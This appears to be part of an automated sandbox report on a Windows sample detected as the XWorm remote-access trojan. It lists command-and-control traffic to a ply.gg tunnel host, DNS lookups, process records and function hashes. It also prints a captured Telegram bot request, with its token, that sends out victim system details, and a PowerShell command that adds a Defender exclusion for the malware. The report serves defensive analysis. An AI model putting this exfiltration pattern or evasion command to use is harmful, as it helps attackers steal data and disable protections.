Sep 25, 2024 11:32:02.814224958 CEST	55202	49728	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:05.720949888 CEST	55202	49728	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:05.721168995 CEST	49728	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:05.721333027 CEST	55202	49728	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:05.721384048 CEST	49728	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:05.958647966 CEST	49728	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:05.960108042 CEST	49729	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:05.963970900 CEST	55202	49728	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:05.965178013 CEST	55202	49729	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:05.965363979 CEST	49729	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:05.984715939 CEST	49729	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:05.989753008 CEST	55202	49729	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:08.606151104 CEST	55202	49729	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:08.606271982 CEST	49729	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:08.740175009 CEST	49729	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:08.742140055 CEST	49730	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:08.745157003 CEST	55202	49729	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:08.747072935 CEST	55202	49730	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:08.747167110 CEST	49730	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:08.770780087 CEST	49730	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:09.067872047 CEST	49730	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:09.090765953 CEST	55202	49730	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:09.090780020 CEST	55202	49730	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:11.401711941 CEST	55202	49730	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:11.402005911 CEST	49730	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:11.411686897 CEST	49730	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:11.412827015 CEST	49731	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:11.416541100 CEST	55202	49730	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:11.417701006 CEST	55202	49731	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:11.417812109 CEST	49731	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:11.436507940 CEST	49731	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:11.441435099 CEST	55202	49731	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:14.069950104 CEST	55202	49731	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:14.070028067 CEST	49731	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:18.115139961 CEST	49731	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:18.118649006 CEST	49732	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:18.120210886 CEST	55202	49731	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:18.123541117 CEST	55202	49732	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:18.125276089 CEST	49732	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:18.151263952 CEST	49732	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:18.156111002 CEST	55202	49732	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:20.854033947 CEST	55202	49732	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:20.854100943 CEST	49732	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:23.208796978 CEST	49732	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:23.213385105 CEST	49734	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:23.236368895 CEST	55202	49732	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:23.236393929 CEST	55202	49734	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:23.236514091 CEST	49734	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:23.260073900 CEST	49734	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:23.269987106 CEST	55202	49734	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:23.446645021 CEST	49734	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:23.452833891 CEST	55202	49734	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:25.906138897 CEST	55202	49734	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:25.906243086 CEST	49734	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:28.724297047 CEST	49734	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:28.728441000 CEST	49735	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:28.729226112 CEST	55202	49734	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:28.733421087 CEST	55202	49735	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:28.733570099 CEST	49735	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:28.752202034 CEST	49735	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:28.758114100 CEST	55202	49735	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:30.427637100 CEST	49735	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:30.432666063 CEST	55202	49735	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:31.394098043 CEST	55202	49735	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:31.394182920 CEST	49735	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:33.817378044 CEST	49735	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:33.840027094 CEST	49736	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:34.130409956 CEST	49735	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:34.663595915 CEST	55202	49735	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:34.663614035 CEST	55202	49736	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:34.663621902 CEST	55202	49735	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:34.663781881 CEST	49736	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:34.663789034 CEST	49735	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:34.679335117 CEST	49736	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:34.879426956 CEST	55202	49736	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:37.302613974 CEST	49736	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:37.307425976 CEST	55202	49736	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:37.550189018 CEST	55202	49736	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:37.550237894 CEST	49736	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:40.052278996 CEST	49736	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:40.055078030 CEST	49737	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:40.057303905 CEST	55202	49736	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:40.060539007 CEST	55202	49737	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:40.060622931 CEST	49737	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:40.089401960 CEST	49737	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:40.094293118 CEST	55202	49737	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:40.115319967 CEST	49737	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:40.120138884 CEST	55202	49737	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:40.130875111 CEST	49737	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:40.135752916 CEST	55202	49737	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:40.146128893 CEST	49737	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:40.150947094 CEST	55202	49737	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:42.721107960 CEST	55202	49737	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:42.721214056 CEST	49737	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:45.208827972 CEST	49737	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:45.213171005 CEST	49738	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:45.213871956 CEST	55202	49737	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:45.218004942 CEST	55202	49738	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:45.218076944 CEST	49738	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:45.244297028 CEST	49738	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:45.249192953 CEST	55202	49738	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:45.365098000 CEST	49738	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:45.369993925 CEST	55202	49738	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:45.396491051 CEST	49738	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:45.402087927 CEST	55202	49738	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:47.899861097 CEST	55202	49738	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:47.899926901 CEST	49738	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:50.411915064 CEST	49738	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:50.414380074 CEST	49739	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:50.418860912 CEST	55202	49738	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:50.421051025 CEST	55202	49739	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:50.421518087 CEST	49739	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:50.438819885 CEST	49739	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:50.445888042 CEST	55202	49739	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:53.079050064 CEST	55202	49739	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:53.079174995 CEST	49739	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:55.568275928 CEST	49739	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:55.571341991 CEST	49740	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:55.573426008 CEST	55202	49739	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:55.576147079 CEST	55202	49740	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:55.576212883 CEST	49740	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:55.598849058 CEST	49740	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:32:55.603832960 CEST	55202	49740	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:58.401227951 CEST	55202	49740	147.185.221.22	192.168.2.5
Sep 25, 2024 11:32:58.401319027 CEST	49740	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:00.614850044 CEST	49740	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:00.619465113 CEST	49741	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:00.619785070 CEST	55202	49740	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:00.624572039 CEST	55202	49741	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:00.628967047 CEST	49741	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:00.651256084 CEST	49741	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:00.656306982 CEST	55202	49741	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:03.300522089 CEST	55202	49741	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:03.300600052 CEST	49741	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:05.771308899 CEST	49741	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:05.774065971 CEST	49742	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:05.776264906 CEST	55202	49741	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:05.779004097 CEST	55202	49742	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:05.779110909 CEST	49742	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:05.799491882 CEST	49742	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:05.804430962 CEST	55202	49742	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:08.435267925 CEST	55202	49742	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:08.435367107 CEST	49742	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:10.943422079 CEST	49742	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:10.946576118 CEST	49743	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:10.949453115 CEST	55202	49742	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:10.952765942 CEST	55202	49743	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:10.952913046 CEST	49743	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:10.968453884 CEST	49743	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:10.974857092 CEST	55202	49743	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:13.610908031 CEST	55202	49743	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:13.610976934 CEST	49743	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:16.130434990 CEST	49743	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:16.132240057 CEST	49744	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:16.136033058 CEST	55202	49743	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:16.137073994 CEST	55202	49744	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:16.137146950 CEST	49744	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:16.154118061 CEST	49744	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:16.158921003 CEST	55202	49744	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:18.830730915 CEST	55202	49744	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:18.830851078 CEST	49744	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:35.046257973 CEST	49744	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:35.049777031 CEST	49756	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:35.051552057 CEST	55202	49744	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:35.054660082 CEST	55202	49756	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:35.054747105 CEST	49756	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:35.071841955 CEST	49756	55202	192.168.2.5	147.185.221.22
Sep 25, 2024 11:33:35.076670885 CEST	55202	49756	147.185.221.22	192.168.2.5
Sep 25, 2024 11:33:35.778263092 CEST	49756	55202	192.168.2.5	147.185.221.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 11:31:07.759073019 CEST	56458	53	192.168.2.5	1.1.1.1
Sep 25, 2024 11:31:07.765974045 CEST	53	56458	1.1.1.1	192.168.2.5
Sep 25, 2024 11:31:09.120835066 CEST	60490	53	192.168.2.5	1.1.1.1
Sep 25, 2024 11:31:09.152991056 CEST	53	60490	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 11:31:07.759073019 CEST	192.168.2.5	1.1.1.1	0x2a76	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 11:31:09.120835066 CEST	192.168.2.5	1.1.1.1	0x9fae	Standard query (0)	various-wages.gl.at.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 11:31:07.765974045 CEST	1.1.1.1	192.168.2.5	0x2a76	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Sep 25, 2024 11:31:09.152991056 CEST	1.1.1.1	192.168.2.5	0x9fae	No error (0)	various-wages.gl.at.ply.gg		147.185.221.22	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	149.154.167.220	443	6552	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 09:31:08 UTC	446	OUT	GET /bot7503421576:AAFe-HqEJI6A9e-kdWp8RSPiI27fCE4Lw2Q/sendMessage?chat_id=985088883&text=%E2%98%A0%20%5BXWorm%20V5.4%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AA0FB38C6050D4C23DA87%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20BSY776%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.4 HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-09-25 09:31:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 25 Sep 2024 09:31:08 GMT Content-Type: application/json Content-Length: 428 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-25 09:31:08 UTC	428	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 35 30 33 34 32 31 35 37 36 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6c 6f 67 7a 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 69 74 79 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 39 38 35 30 38 38 38 38 33 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 2e 2e 2e 2e 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 69 74 79 30 7a 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 32 37 32 35 36 36 36 38 2c 22 74 65 78 74 22 3a 22 5c 75 32 36 32 30 20 5b 58 57 6f 72 6d 20 56 35 2e 34 5d 5c 6e 5c 6e 4e Data Ascii: {"ok":true,"result":{"message_id":970,"from":{"id":7503421576,"is_bot":true,"first_name":"logz","username":"obilityBot"},"chat":{"id":985088883,"first_name":"....","username":"obility0z","type":"private"},"date":1727256668,"text":"\u2620 [XWorm V5.4]\n\nN

Target ID:	0
Start time:	05:31:02
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"
Imagebase:	0x230000
File size:	434'176 bytes
MD5 hash:	A4CD1FF60C7B69DF5A061DF3365E60C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.2088628125.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:31:03
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"
Imagebase:	0xa40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:31:03
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"
Imagebase:	0x370000
File size:	434'176 bytes
MD5 hash:	A4CD1FF60C7B69DF5A061DF3365E60C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:31:03
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe"
Imagebase:	0xa50000
File size:	434'176 bytes
MD5 hash:	A4CD1FF60C7B69DF5A061DF3365E60C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000005.00000002.3595610221.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:31:03
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:31:05
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:33:19
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6552 -s 1128
Imagebase:	0x210000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	168
Total number of Limit Nodes:	6

Executed Functions

Function 009DADE8 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 009DB03E

Memory Dump Source

Source File: 00000000.00000002.2088113624.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 06131dd9a15051438a86f852a5db4c952984efef68cbb19b4bc0a28f8eea63ea
Instruction ID: 47c91cf1a4f1380e1384793d013eaa07aebd1bc46380c5747ae1bf63d8de08e7
Opcode Fuzzy Hash: 06131dd9a15051438a86f852a5db4c952984efef68cbb19b4bc0a28f8eea63ea
Instruction Fuzzy Hash: 57713270A00B058FD724DF69D44575ABBF5FF88300F008A2AE44AD7B50DB34E95ACBA1

Function 04BB18E4 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04BB1A02

Memory Dump Source

Source File: 00000000.00000002.2100770882.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bb0000_SecuriteInfo.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f770fac86ceaecc9a49e3ad562839c01202032b6940f78556504eefc3a9df443
Instruction ID: 13a0934d2000afe553d5a5b1e53d0bcf2349f9317bb1814713c4fb6009c3a308
Opcode Fuzzy Hash: f770fac86ceaecc9a49e3ad562839c01202032b6940f78556504eefc3a9df443
Instruction Fuzzy Hash: 8F51E2B1D00349DFDB14CF99C894ADEBBB5FF48300F24816AE418AB210D774A986CF90

Function 04BB18F0 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04BB1A02

Memory Dump Source

Source File: 00000000.00000002.2100770882.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bb0000_SecuriteInfo.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 801a90e4cdc8ad944ce91055ca35e53157ea89d0382036f2d498b11b0ba86a5c
Instruction ID: ba9c254868ed30d29e26b69344491483b2ce292180bedcc315d97df896f5c6fb
Opcode Fuzzy Hash: 801a90e4cdc8ad944ce91055ca35e53157ea89d0382036f2d498b11b0ba86a5c
Instruction Fuzzy Hash: 7241D2B1D00349DFDB14CF99C994ADEBBB5FF48350F24826AE818AB250D774A985CF90

Function 009D590C Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 009D59C9

Memory Dump Source

Source File: 00000000.00000002.2088113624.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_SecuriteInfo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: de9ae3fc9e5212da173cbbdddcfdb5ef67dd7486f283fcef4c7d1acd084afde7
Instruction ID: 737a3d2355655fc5309485c525440ac25e071bfcfb1245badc7f2a082234c378
Opcode Fuzzy Hash: de9ae3fc9e5212da173cbbdddcfdb5ef67dd7486f283fcef4c7d1acd084afde7
Instruction Fuzzy Hash: 8B41F2B1C00719CFDB24DFA9C884B9EBBB5BF48304F20806AD408AB251DB756986CF90

Function 009D44D4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 009D59C9

Memory Dump Source

Source File: 00000000.00000002.2088113624.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_SecuriteInfo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 40c67c310d4a35f64f8c07de78322790c8ec24cc70b13803e87eb754ddca9eab
Instruction ID: 83573bd398bb8fe699208366b32d548255fd6331d99172bb957ad1140c36fcbe
Opcode Fuzzy Hash: 40c67c310d4a35f64f8c07de78322790c8ec24cc70b13803e87eb754ddca9eab
Instruction Fuzzy Hash: CF41DFB1C00B19CFDB24DFA9C884B9EBBB5FF49304F20816AD408AB255DB756946CF90

Function 04BB4050 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04BB4111

Memory Dump Source

Source File: 00000000.00000002.2100770882.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bb0000_SecuriteInfo.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 1be41663ce5f61f81be145547b6d6434e67e621dabbb347700769cb95b4e5d9e
Instruction ID: 4de5649fa471140091dca91ea17c09f38e0e201c9534cfcbc1ed4b9b438ac312
